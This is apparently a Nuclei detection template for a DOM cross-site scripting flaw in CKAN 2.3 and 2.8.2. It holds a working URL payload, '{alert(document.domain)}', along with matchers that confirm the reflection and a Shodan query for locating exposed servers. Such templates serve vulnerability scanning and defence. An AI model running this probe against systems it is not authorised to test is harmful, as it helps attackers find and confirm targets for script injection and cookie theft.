id: ckan-dom-based-xss

info:
  name: CKAN - DOM Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: CKAN contains a cross-site scripting vulnerability in the document object model via the previous version of the jQuery Sparkle library. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/ckan/ckan/blob/b9e45e2723d4abd70fa72b16ec4a0bebc795c56b/ckan/public/base/javascript/view-filters.js#L27
    - https://security.snyk.io/vuln/SNYK-PYTHON-CKAN-42010
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ckan 2.8.2" || html:"ckan 2.3"
    product: ckan
    vendor: okfn
  tags: dom,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/?{alert(document.domain)}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<option value="/en/?{alert(document.domain)}" selected="selected">'

      - type: word
        part: body
        words:
          - 'ckan 2.3'
          - 'ckan 2.8.2'
        condition: or

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fcaa944b8466e7f8aaf2e4ca612b31175a4b9f33d1727f79584e1cad32808bc402205475127414d00cf94ffbd4a75d77b4a28b5768f762e760a08f5325b3da0374cc:922c64590222798bb761d5b6d8e72950